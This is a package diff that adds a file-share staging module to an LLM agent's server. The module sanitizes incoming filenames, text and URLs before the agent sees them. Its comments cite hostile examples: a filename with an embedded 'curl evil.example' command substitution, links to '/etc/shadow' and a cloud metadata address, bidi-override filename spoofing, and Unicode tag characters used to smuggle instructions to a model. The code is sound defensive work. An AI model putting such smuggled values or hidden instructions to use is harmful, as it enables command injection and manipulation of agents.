@schlessera/brain-ui-server 0.12.1 → 0.13.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/app.d.ts.map +1 -1
- package/dist/app.js +5 -0
- package/dist/app.js.map +1 -1
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +3 -0
- package/dist/index.js.map +1 -1
- package/dist/middleware/origin.d.ts +17 -0
- package/dist/middleware/origin.d.ts.map +1 -0
- package/dist/middleware/origin.js +40 -0
- package/dist/middleware/origin.js.map +1 -0
- package/dist/routes/share.d.ts +89 -0
- package/dist/routes/share.d.ts.map +1 -0
- package/dist/routes/share.js +158 -0
- package/dist/routes/share.js.map +1 -0
- package/dist/share/staging.d.ts +62 -0
- package/dist/share/staging.d.ts.map +1 -0
- package/dist/share/staging.js +376 -0
- package/dist/share/staging.js.map +1 -0
- package/dist/ws/host.d.ts +23 -2
- package/dist/ws/host.d.ts.map +1 -1
- package/dist/ws/host.js +23 -2
- package/dist/ws/host.js.map +1 -1
- package/dist/ws/run-session.d.ts.map +1 -1
- package/dist/ws/run-session.js +38 -9
- package/dist/ws/run-session.js.map +1 -1
- package/dist/ws/turns.d.ts +14 -0
- package/dist/ws/turns.d.ts.map +1 -1
- package/dist/ws/turns.js +25 -0
- package/dist/ws/turns.js.map +1 -1
- package/package.json +4 -4
- package/src/app.ts +5 -0
- package/src/index.ts +4 -0
- package/src/middleware/origin.ts +39 -0
- package/src/routes/share.ts +178 -0
- package/src/share/staging.ts +425 -0
- package/src/ws/host.ts +24 -2
- package/src/ws/run-session.ts +49 -13
- package/src/ws/turns.ts +26 -0
|
@@ -0,0 +1,376 @@
|
|
|
1
|
+
import { mkdir, readdir, rename, rm, stat, writeFile } from "node:fs/promises";
|
|
2
|
+
import { join } from "node:path";
|
|
3
|
+
import { SHARE_MAX_FILES, SHARE_MAX_FILE_BYTES, SHARE_MAX_STAGED, SHARE_MAX_TEXT_BYTES, SHARE_MAX_TOTAL_BYTES, SHARE_STAGING_DIR, SHARE_STAGING_TTL_MS, } from "@schlessera/brain-ui-sdk/protocol";
|
|
4
|
+
import { getBrainRoot } from "../files/walker.js";
|
|
5
|
+
/**
|
|
6
|
+
* Staging for an incoming system share.
|
|
7
|
+
*
|
|
8
|
+
* Everything a share carries is attacker-influenced: file names come from
|
|
9
|
+
* whichever app invoked the share sheet, and the text is whatever page the user
|
|
10
|
+
* was looking at. So the payload lands in a directory whose name the SERVER
|
|
11
|
+
* mints, under a dot-directory that is gitignored and hidden from the file
|
|
12
|
+
* browser, and nothing in it is ever trusted to be a path.
|
|
13
|
+
*
|
|
14
|
+
* The consumer is an LLM agent with file and shell tools, which sets the bar
|
|
15
|
+
* for "sanitized": a name is not safe merely because the filesystem accepts it.
|
|
16
|
+
* It also has to be safe unquoted in a shell, and free of characters that are
|
|
17
|
+
* invisible to the human reviewing what the agent is about to do.
|
|
18
|
+
*/
|
|
19
|
+
export class EmptyShareError extends Error {
|
|
20
|
+
constructor() {
|
|
21
|
+
super("empty_share");
|
|
22
|
+
this.name = "EmptyShareError";
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
export class ShareTooLargeError extends Error {
|
|
26
|
+
reason;
|
|
27
|
+
limit;
|
|
28
|
+
constructor(
|
|
29
|
+
/** Machine-readable reason, returned to the client verbatim. */
|
|
30
|
+
reason, limit) {
|
|
31
|
+
super(reason);
|
|
32
|
+
this.reason = reason;
|
|
33
|
+
this.limit = limit;
|
|
34
|
+
this.name = "ShareTooLargeError";
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
/**
|
|
38
|
+
* Everything a stored name may contain: letters, digits, combining marks, and
|
|
39
|
+
* `._-`. An ALLOWLIST, not a denylist, because the consumer is an agent that
|
|
40
|
+
* may paste this name into a shell — `photo$(curl evil.example).jpg` survives
|
|
41
|
+
* any list of "unsafe characters" someone thinks to write down, and correct
|
|
42
|
+
* quoting by the agent is not a security boundary. Unicode letters are kept so
|
|
43
|
+
* a CJK or accented name survives as itself.
|
|
44
|
+
*/
|
|
45
|
+
const NAME_DISALLOWED = /[^\p{L}\p{N}\p{M}._-]+/gu;
|
|
46
|
+
/**
|
|
47
|
+
* Format characters: zero-width spaces, bidi overrides (`photo<RLO>gnp.exe`
|
|
48
|
+
* reads as `photo.exe` and runs as `photoexe.png`), and the Unicode tag block
|
|
49
|
+
* U+E0000-E007F — the standard channel for smuggling instructions past a human
|
|
50
|
+
* into a model's tokenizer. Every field of a share is quoted into a prompt, so
|
|
51
|
+
* these are stripped from text as well as from names. This repo already bans
|
|
52
|
+
* raw invisible characters in its own source; a share is where they arrive from
|
|
53
|
+
* outside.
|
|
54
|
+
*/
|
|
55
|
+
const FORMAT_CHARS = /\p{Cf}/gu;
|
|
56
|
+
/** C0/C1 controls and DEL — never legal in a stored file name. */
|
|
57
|
+
const CONTROL_CHARS = /[\u0000-\u001f\u007f-\u009f]/g;
|
|
58
|
+
/** Same, minus tab/newline/carriage return, which shared text legitimately holds. */
|
|
59
|
+
const CONTROL_CHARS_KEEP_WHITESPACE = /[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g;
|
|
60
|
+
/** A media type the manifest is willing to quote back. */
|
|
61
|
+
const MEDIA_TYPE_PATTERN = /^[a-z0-9][a-z0-9!#$&^_.+-]{0,60}\/[a-z0-9][a-z0-9!#$&^_.+-]{0,60}$/;
|
|
62
|
+
const EXTENSION_BY_TYPE = {
|
|
63
|
+
"image/jpeg": ".jpg",
|
|
64
|
+
"image/png": ".png",
|
|
65
|
+
"image/gif": ".gif",
|
|
66
|
+
"image/webp": ".webp",
|
|
67
|
+
"image/heic": ".heic",
|
|
68
|
+
"image/heif": ".heif",
|
|
69
|
+
"image/svg+xml": ".svg",
|
|
70
|
+
"application/pdf": ".pdf",
|
|
71
|
+
"text/plain": ".txt",
|
|
72
|
+
"text/markdown": ".md",
|
|
73
|
+
"text/html": ".html",
|
|
74
|
+
"text/csv": ".csv",
|
|
75
|
+
"application/json": ".json",
|
|
76
|
+
"audio/mpeg": ".mp3",
|
|
77
|
+
"audio/mp4": ".m4a",
|
|
78
|
+
"audio/ogg": ".ogg",
|
|
79
|
+
"audio/wav": ".wav",
|
|
80
|
+
"video/mp4": ".mp4",
|
|
81
|
+
"video/webm": ".webm",
|
|
82
|
+
};
|
|
83
|
+
/**
|
|
84
|
+
* Bound on a stored name, in UTF-8 BYTES rather than characters: a filesystem
|
|
85
|
+
* component limit is a byte limit (255 on ext4/APFS), and 100 CJK characters
|
|
86
|
+
* are ~300 bytes. Counting characters would let a legitimate share fail the
|
|
87
|
+
* write with ENAMETOOLONG.
|
|
88
|
+
*/
|
|
89
|
+
const MAX_NAME_BYTES = 100;
|
|
90
|
+
const DEFAULT_MEDIA_TYPE = "application/octet-stream";
|
|
91
|
+
/** A partial directory older than this was orphaned by a crash mid-write. */
|
|
92
|
+
const PARTIAL_TTL_MS = 60 * 60 * 1000;
|
|
93
|
+
/** Absolute staging root. Read per call, so a test can move BRAIN_PATH. */
|
|
94
|
+
export function shareStagingRoot() {
|
|
95
|
+
return join(getBrainRoot(), SHARE_STAGING_DIR);
|
|
96
|
+
}
|
|
97
|
+
/**
|
|
98
|
+
* Normalize a media type, or fall back to the generic one.
|
|
99
|
+
*
|
|
100
|
+
* Validated rather than merely lowercased: the value is attacker-supplied, ends
|
|
101
|
+
* up in `meta.json`, and is quoted into the agent's prompt next to the file
|
|
102
|
+
* name. An unbounded string there is a place to hide a paragraph of text.
|
|
103
|
+
*/
|
|
104
|
+
function bareMediaType(raw) {
|
|
105
|
+
const bare = (raw ?? "").split(";")[0].trim().toLowerCase();
|
|
106
|
+
return MEDIA_TYPE_PATTERN.test(bare) ? bare : DEFAULT_MEDIA_TYPE;
|
|
107
|
+
}
|
|
108
|
+
function utf8Length(value) {
|
|
109
|
+
return Buffer.byteLength(value, "utf-8");
|
|
110
|
+
}
|
|
111
|
+
/** Truncate on a code-point boundary so no surrogate pair is cut in half. */
|
|
112
|
+
function truncateToBytes(value, maxBytes) {
|
|
113
|
+
let out = "";
|
|
114
|
+
let bytes = 0;
|
|
115
|
+
for (const char of value) {
|
|
116
|
+
const size = utf8Length(char);
|
|
117
|
+
if (bytes + size > maxBytes)
|
|
118
|
+
break;
|
|
119
|
+
out += char;
|
|
120
|
+
bytes += size;
|
|
121
|
+
}
|
|
122
|
+
return out || Array.from(value)[0] || "file";
|
|
123
|
+
}
|
|
124
|
+
/**
|
|
125
|
+
* Reduce whatever the sharing app called a file to a plain name that cannot
|
|
126
|
+
* escape its directory, hide itself, or do anything in a shell.
|
|
127
|
+
*
|
|
128
|
+
* Path separators are dropped rather than replaced: a name is a name, and the
|
|
129
|
+
* only directory a staged file may land in is the one this module just made.
|
|
130
|
+
*/
|
|
131
|
+
export function sanitizeFileName(raw, mediaType) {
|
|
132
|
+
const lastSegment = (raw ?? "").split(/[/\\]/).pop() ?? "";
|
|
133
|
+
let name = lastSegment
|
|
134
|
+
.replace(CONTROL_CHARS, "")
|
|
135
|
+
.replace(FORMAT_CHARS, "")
|
|
136
|
+
.replace(NAME_DISALLOWED, "-")
|
|
137
|
+
// Collapse the runs the substitution above can produce.
|
|
138
|
+
.replace(/-{2,}/g, "-")
|
|
139
|
+
// Leading dots would produce `..`, or a hidden file the agent never sees;
|
|
140
|
+
// a leading dash reads as an option to every command line it appears on.
|
|
141
|
+
.replace(/^[.-]+/, "")
|
|
142
|
+
.replace(/[.\s]+$/, "");
|
|
143
|
+
if (!name)
|
|
144
|
+
name = "file";
|
|
145
|
+
const extMatch = name.match(/\.[A-Za-z0-9]{1,8}$/);
|
|
146
|
+
let stem = extMatch ? name.slice(0, -extMatch[0].length) : name;
|
|
147
|
+
const ext = extMatch
|
|
148
|
+
? extMatch[0].toLowerCase()
|
|
149
|
+
: (EXTENSION_BY_TYPE[bareMediaType(mediaType)] ?? "");
|
|
150
|
+
if (!stem)
|
|
151
|
+
stem = "file";
|
|
152
|
+
const budget = MAX_NAME_BYTES - utf8Length(ext);
|
|
153
|
+
if (utf8Length(stem) > budget)
|
|
154
|
+
stem = truncateToBytes(stem, Math.max(1, budget));
|
|
155
|
+
return stem + ext;
|
|
156
|
+
}
|
|
157
|
+
/**
|
|
158
|
+
* Two `photo.jpg` become `photo.jpg` and `photo-2.jpg`.
|
|
159
|
+
*
|
|
160
|
+
* Reservations are compared case-INSENSITIVELY: on macOS and Windows a file
|
|
161
|
+
* called `META.JSON` is the same file as `meta.json`, so a case-sensitive
|
|
162
|
+
* comparison would let a share overwrite the manifest (or the manifest
|
|
163
|
+
* overwrite the share, leaving the manifest describing a file that is gone).
|
|
164
|
+
*/
|
|
165
|
+
function deduplicate(name, used) {
|
|
166
|
+
const claim = (candidate) => {
|
|
167
|
+
const key = candidate.toLowerCase();
|
|
168
|
+
if (used.has(key))
|
|
169
|
+
return false;
|
|
170
|
+
used.add(key);
|
|
171
|
+
return true;
|
|
172
|
+
};
|
|
173
|
+
if (claim(name))
|
|
174
|
+
return name;
|
|
175
|
+
const extMatch = name.match(/\.[A-Za-z0-9]{1,8}$/);
|
|
176
|
+
const ext = extMatch ? extMatch[0] : "";
|
|
177
|
+
const stem = extMatch ? name.slice(0, -ext.length) : name;
|
|
178
|
+
for (let n = 2;; n += 1) {
|
|
179
|
+
const candidate = `${stem}-${n}${ext}`;
|
|
180
|
+
if (claim(candidate))
|
|
181
|
+
return candidate;
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
function cleanTextField(value) {
|
|
185
|
+
if (value === undefined)
|
|
186
|
+
return undefined;
|
|
187
|
+
const cleaned = value
|
|
188
|
+
.replace(CONTROL_CHARS_KEEP_WHITESPACE, "")
|
|
189
|
+
.replace(FORMAT_CHARS, "")
|
|
190
|
+
.trim();
|
|
191
|
+
if (!cleaned)
|
|
192
|
+
return undefined;
|
|
193
|
+
if (utf8Length(cleaned) > SHARE_MAX_TEXT_BYTES) {
|
|
194
|
+
throw new ShareTooLargeError("text_too_large", SHARE_MAX_TEXT_BYTES);
|
|
195
|
+
}
|
|
196
|
+
return cleaned;
|
|
197
|
+
}
|
|
198
|
+
/**
|
|
199
|
+
* Keep a shared URL only if it is one the agent may safely dereference.
|
|
200
|
+
*
|
|
201
|
+
* The filing skill fetches this. `javascript:`, `data:`, `file:///etc/shadow`
|
|
202
|
+
* and `http://169.254.169.254/…` all arrive as plausible-looking strings, so
|
|
203
|
+
* anything that is not http(s) is demoted to plain text: still visible to the
|
|
204
|
+
* user and the agent, no longer something a fetch tool will act on.
|
|
205
|
+
*/
|
|
206
|
+
function splitUrl(raw) {
|
|
207
|
+
if (!raw)
|
|
208
|
+
return {};
|
|
209
|
+
try {
|
|
210
|
+
const parsed = new URL(raw);
|
|
211
|
+
if (parsed.protocol === "http:" || parsed.protocol === "https:") {
|
|
212
|
+
return { url: parsed.toString() };
|
|
213
|
+
}
|
|
214
|
+
}
|
|
215
|
+
catch {
|
|
216
|
+
// Not a URL at all — treat it as the text it is.
|
|
217
|
+
}
|
|
218
|
+
return { leftover: raw };
|
|
219
|
+
}
|
|
220
|
+
/** How many shares are staged right now (partials excluded). */
|
|
221
|
+
async function countStaged(root) {
|
|
222
|
+
try {
|
|
223
|
+
const entries = await readdir(root, { withFileTypes: true });
|
|
224
|
+
return entries.filter((e) => e.isDirectory() && !e.name.startsWith(".")).length;
|
|
225
|
+
}
|
|
226
|
+
catch {
|
|
227
|
+
return 0;
|
|
228
|
+
}
|
|
229
|
+
}
|
|
230
|
+
/**
|
|
231
|
+
* Write one share to its own staging directory and return the manifest.
|
|
232
|
+
*
|
|
233
|
+
* Staged into `.<id>.partial` and renamed into place only once `meta.json` is
|
|
234
|
+
* written. The rename is atomic within a filesystem, so the agent can never
|
|
235
|
+
* observe a share that is missing files or a manifest — not even if the process
|
|
236
|
+
* is killed mid-write, which `try/catch` cleanup cannot cover.
|
|
237
|
+
*/
|
|
238
|
+
export async function stageShare(input) {
|
|
239
|
+
const title = cleanTextField(input.title);
|
|
240
|
+
const rawUrl = cleanTextField(input.url);
|
|
241
|
+
const { url, leftover } = splitUrl(rawUrl);
|
|
242
|
+
const text = cleanTextField(leftover ? [input.text, leftover].filter(Boolean).join("\n") : input.text);
|
|
243
|
+
const files = input.files;
|
|
244
|
+
if (!title && !text && !url && files.length === 0) {
|
|
245
|
+
throw new EmptyShareError();
|
|
246
|
+
}
|
|
247
|
+
if (files.length > SHARE_MAX_FILES) {
|
|
248
|
+
throw new ShareTooLargeError("too_many_files", SHARE_MAX_FILES);
|
|
249
|
+
}
|
|
250
|
+
let declaredTotal = 0;
|
|
251
|
+
for (const file of files) {
|
|
252
|
+
if (file.size > SHARE_MAX_FILE_BYTES) {
|
|
253
|
+
throw new ShareTooLargeError("file_too_large", SHARE_MAX_FILE_BYTES);
|
|
254
|
+
}
|
|
255
|
+
declaredTotal += file.size;
|
|
256
|
+
}
|
|
257
|
+
if (declaredTotal > SHARE_MAX_TOTAL_BYTES) {
|
|
258
|
+
throw new ShareTooLargeError("share_too_large", SHARE_MAX_TOTAL_BYTES);
|
|
259
|
+
}
|
|
260
|
+
const root = shareStagingRoot();
|
|
261
|
+
if ((await countStaged(root)) >= SHARE_MAX_STAGED) {
|
|
262
|
+
throw new ShareTooLargeError("inbox_full", SHARE_MAX_STAGED);
|
|
263
|
+
}
|
|
264
|
+
const id = crypto.randomUUID();
|
|
265
|
+
const dir = `${SHARE_STAGING_DIR}/${id}`;
|
|
266
|
+
const finalDir = join(root, id);
|
|
267
|
+
const partialDir = join(root, `.${id}.partial`);
|
|
268
|
+
await mkdir(partialDir, { recursive: true });
|
|
269
|
+
try {
|
|
270
|
+
// meta.json is reserved: a shared file called that must not overwrite it.
|
|
271
|
+
const used = new Set(["meta.json"]);
|
|
272
|
+
const staged = [];
|
|
273
|
+
const skipped = [];
|
|
274
|
+
let total = 0;
|
|
275
|
+
for (const file of files) {
|
|
276
|
+
const mediaType = bareMediaType(file.type);
|
|
277
|
+
const name = deduplicate(sanitizeFileName(file.name, mediaType), used);
|
|
278
|
+
const bytes = Buffer.from(await file.arrayBuffer());
|
|
279
|
+
// `file.size` is a claim; the decoded length is the fact. Re-check both
|
|
280
|
+
// caps against it so a lying multipart part cannot slip past the gate.
|
|
281
|
+
if (bytes.byteLength > SHARE_MAX_FILE_BYTES) {
|
|
282
|
+
throw new ShareTooLargeError("file_too_large", SHARE_MAX_FILE_BYTES);
|
|
283
|
+
}
|
|
284
|
+
total += bytes.byteLength;
|
|
285
|
+
if (total > SHARE_MAX_TOTAL_BYTES) {
|
|
286
|
+
throw new ShareTooLargeError("share_too_large", SHARE_MAX_TOTAL_BYTES);
|
|
287
|
+
}
|
|
288
|
+
try {
|
|
289
|
+
// "wx": never follow a link, never truncate something that exists. In a
|
|
290
|
+
// freshly minted directory nothing can pre-exist, so this is a loud
|
|
291
|
+
// assertion rather than a fix — which is the point.
|
|
292
|
+
await writeFile(join(partialDir, name), bytes, { flag: "wx" });
|
|
293
|
+
}
|
|
294
|
+
catch (err) {
|
|
295
|
+
// One unwritable file (ENOSPC, a stricter filesystem) must not throw
|
|
296
|
+
// away the other four. Record it and carry on; the share is only lost
|
|
297
|
+
// if nothing at all survives.
|
|
298
|
+
console.error(`[share] could not stage ${name}:`, err);
|
|
299
|
+
skipped.push(name);
|
|
300
|
+
continue;
|
|
301
|
+
}
|
|
302
|
+
staged.push({
|
|
303
|
+
name,
|
|
304
|
+
path: `${dir}/${name}`,
|
|
305
|
+
mediaType,
|
|
306
|
+
bytes: bytes.byteLength,
|
|
307
|
+
});
|
|
308
|
+
}
|
|
309
|
+
if (staged.length === 0 && !title && !text && !url) {
|
|
310
|
+
throw new Error("share_write_failed");
|
|
311
|
+
}
|
|
312
|
+
const manifest = {
|
|
313
|
+
id,
|
|
314
|
+
dir,
|
|
315
|
+
receivedAt: Date.now(),
|
|
316
|
+
source: "web-share-target",
|
|
317
|
+
...(title ? { title } : {}),
|
|
318
|
+
...(text ? { text } : {}),
|
|
319
|
+
...(url ? { url } : {}),
|
|
320
|
+
files: staged,
|
|
321
|
+
...(skipped.length ? { skipped } : {}),
|
|
322
|
+
};
|
|
323
|
+
await writeFile(join(partialDir, "meta.json"), `${JSON.stringify(manifest, null, 2)}\n`, "utf-8");
|
|
324
|
+
// The share becomes visible here, whole, in one operation.
|
|
325
|
+
await rename(partialDir, finalDir);
|
|
326
|
+
const { source: _source, ...result } = manifest;
|
|
327
|
+
return result;
|
|
328
|
+
}
|
|
329
|
+
catch (err) {
|
|
330
|
+
await rm(partialDir, { recursive: true, force: true }).catch(() => { });
|
|
331
|
+
throw err;
|
|
332
|
+
}
|
|
333
|
+
}
|
|
334
|
+
/**
|
|
335
|
+
* Remove staged shares older than the TTL, and partial directories orphaned by
|
|
336
|
+
* a crash mid-write.
|
|
337
|
+
*
|
|
338
|
+
* Called opportunistically on each intake (debounced) and exported so a
|
|
339
|
+
* deployment can sweep at boot too — scheduling belongs to the container
|
|
340
|
+
* crontab, and this sweep is cheap and bounded.
|
|
341
|
+
*/
|
|
342
|
+
export async function pruneShareStaging(now = Date.now()) {
|
|
343
|
+
const root = shareStagingRoot();
|
|
344
|
+
let entries;
|
|
345
|
+
try {
|
|
346
|
+
entries = await readdir(root, { withFileTypes: true });
|
|
347
|
+
}
|
|
348
|
+
catch (err) {
|
|
349
|
+
// Nothing staged yet is the ordinary case. Anything else — a permission
|
|
350
|
+
// problem, a file where the directory should be — must not masquerade as
|
|
351
|
+
// "nothing to do", or pruning stops forever and silently.
|
|
352
|
+
if (err.code !== "ENOENT") {
|
|
353
|
+
console.error("[share] cannot read the staging root:", err);
|
|
354
|
+
}
|
|
355
|
+
return 0;
|
|
356
|
+
}
|
|
357
|
+
let removed = 0;
|
|
358
|
+
for (const entry of entries) {
|
|
359
|
+
if (!entry.isDirectory())
|
|
360
|
+
continue;
|
|
361
|
+
const path = join(root, entry.name);
|
|
362
|
+
const ttl = entry.name.startsWith(".") ? PARTIAL_TTL_MS : SHARE_STAGING_TTL_MS;
|
|
363
|
+
try {
|
|
364
|
+
const info = await stat(path);
|
|
365
|
+
if (now - info.mtimeMs <= ttl)
|
|
366
|
+
continue;
|
|
367
|
+
await rm(path, { recursive: true, force: true });
|
|
368
|
+
removed += 1;
|
|
369
|
+
}
|
|
370
|
+
catch {
|
|
371
|
+
// A directory that vanished mid-sweep is the outcome we wanted anyway.
|
|
372
|
+
}
|
|
373
|
+
}
|
|
374
|
+
return removed;
|
|
375
|
+
}
|
|
376
|
+
//# sourceMappingURL=staging.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"staging.js","sourceRoot":"","sources":["../../src/share/staging.ts"],"names":[],"mappings":"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